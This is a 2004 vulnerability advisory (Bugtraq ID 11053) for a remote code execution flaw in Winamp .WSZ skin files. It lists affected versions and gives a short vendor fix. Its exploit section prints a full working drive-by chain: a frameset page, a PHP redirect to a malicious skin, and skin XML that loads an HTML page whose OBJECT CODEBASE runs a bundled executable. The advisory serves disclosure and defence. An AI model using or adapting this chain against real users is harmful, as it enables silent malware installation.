BID:11053

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

Info

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

Bugtraq ID:	11053
Class:	Unknown
CVE:
Remote:	Yes
Local:	No
Published:	Aug 26 2004 12:00AM
Updated:	Aug 26 2004 12:00AM
Credit:	An exploit for this issue was found in the wild, it is unknown who initially discovered the vulnerability.
Vulnerable:	NullSoft Winamp 5.0 4 NullSoft Winamp 5.0 3 NullSoft Winamp 5.0 2 NullSoft Winamp 5.0 1 NullSoft Winamp 3.1 NullSoft Winamp 3.0 NullSoft Winamp 2.91 NullSoft Winamp 2.81 NullSoft Winamp 2.80 - Microsoft Windows 2000 Advanced Server SP2 - Microsoft Windows 2000 Advanced Server SP1 - Microsoft Windows 2000 Advanced Server - Microsoft Windows 2000 Datacenter Server SP2 - Microsoft Windows 2000 Datacenter Server SP1 - Microsoft Windows 2000 Datacenter Server - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server SP2 - Microsoft Windows 2000 Server SP1 - Microsoft Windows 2000 Server - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Enterprise Server 4.0 SP6a - Microsoft Windows NT Enterprise Server 4.0 SP6 - Microsoft Windows NT Enterprise Server 4.0 SP5 - Microsoft Windows NT Enterprise Server 4.0 SP4 - Microsoft Windows NT Enterprise Server 4.0 SP3 - Microsoft Windows NT Enterprise Server 4.0 SP2 - Microsoft Windows NT Enterprise Server 4.0 SP1 - Microsoft Windows NT Enterprise Server 4.0 - Microsoft Windows NT Server 4.0 SP6a - Microsoft Windows NT Server 4.0 SP6 - Microsoft Windows NT Server 4.0 SP5 - Microsoft Windows NT Server 4.0 SP4 - Microsoft Windows NT Server 4.0 SP3 - Microsoft Windows NT Server 4.0 SP2 - Microsoft Windows NT Server 4.0 SP1 - Microsoft Windows NT Server 4.0 - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 NullSoft Winamp 2.79 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.78 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.77 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.76 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.75 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.74 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.73 (full) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.73 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.72 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.71 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.70 (full) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.70 - Microsoft Windows 2000 Professional SP2 - Microsoft Windows 2000 Professional SP1 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT Workstation 4.0 SP6a - Microsoft Windows NT Workstation 4.0 SP6 - Microsoft Windows NT Workstation 4.0 SP5 - Microsoft Windows NT Workstation 4.0 SP4 - Microsoft Windows NT Workstation 4.0 SP3 - Microsoft Windows NT Workstation 4.0 SP2 - Microsoft Windows NT Workstation 4.0 SP1 - Microsoft Windows NT Workstation 4.0 - Microsoft Windows XP Home NullSoft Winamp 2.65 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.64 (standard) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.62 (standard) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.61 (full) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.60 (lite) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.60 (full) - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.50 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.24 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.10 NullSoft Winamp 2.6 4 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 NullSoft Winamp 2.5 E NullSoft Winamp 2.5 e - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0 NullSoft Winamp 2.4 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows ME - Microsoft Windows NT 3.5.1 - Microsoft Windows NT 4.0

Not Vulnerable:	NullSoft Winamp 5.0 5

Discussion

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

A vulnerability in Winamp has been discovered that may permit remote attackers to execute arbitrary code on client computers through a malicious .WSZ Winamp skin file. This issue is currently being exploited in the wild.

This vulnerability may be exploited through a Web site, or any other means that will allow the attacker to transmit the malicious file to a victim user.

This vulnerability is reported to affect all versions of Winamp up to and including 5.04.

Exploit / POC

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

This issue is known to be exploited in the wild.

The following exploit example is available:

index.html
-----------
<html>
<head>
</head>
<frameset rows="*,1" framespacing="0" border="0" frameborder="NO">
<frame src="load.php" name="frame_content" scrolling="auto" noresize>
</frameset>
<noframes>
<body>
</body>
</noframes>
</html>

Load.php
---------
<?php
$httpref = $HTTP_REFERER;
header("Location: http://URL/foo.wsz");
?>

foo.wsz (foo.zip)
-----------------
/frame/
/maki/
/shade/
/html/
/html/file.exe (malicious file to execute)
/html/test.htm (html to load the .exe)
/player/
/player/Thumbs.db
/xml/
/xml/includes.xml
/xml/player-normal.xml
/xml/player.xml
/skin.xml

/html/test.htm
----------------
<html>
<OBJECT NAME='X' CLASSID='CLSID:11111111-1111-1111-1111-111111111123' CODEBASE='file.exe'>
</html>

/xml/includes.xml
-------------------
<include file="player.xml"/>

/xml/player-normal.xml
-------------------------
<layout>
<browser id="browser" x="0" y="0" w="0" h="0" relatw="1" relath="1" url="file:///@SKINPATH@html/test.htm" />
</layout>

/xml/player.xml
-----------------
<container id="main" name="main">
<include file="player-normal.xml"/>
</container>

/skin.xml
---------
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<WinampAbstractionLayer version="1.1">
<skininfo>
<version>1.0</version>
<name>Batman</name>
<comment></comment>
<author>Petrol Designs</author>
<email>[email protected]</email>
<homepage>http://www.petroldesigns.com</homepage>
</skininfo>

<include file="xml/includes.xml"/>

</WinampAbstractionLayer>

Solution / Fix

NullSoft Winamp .WSZ File Remote Code Execution Vulnerability

Solution:
The vendor has released an upgrade dealing with this issue. This issue has been dealt with by prompting a user prior to installing any skins as well as extracting skin files that are low risk. Please see the referenced web advisory for more information.

NullSoft Winamp 2.10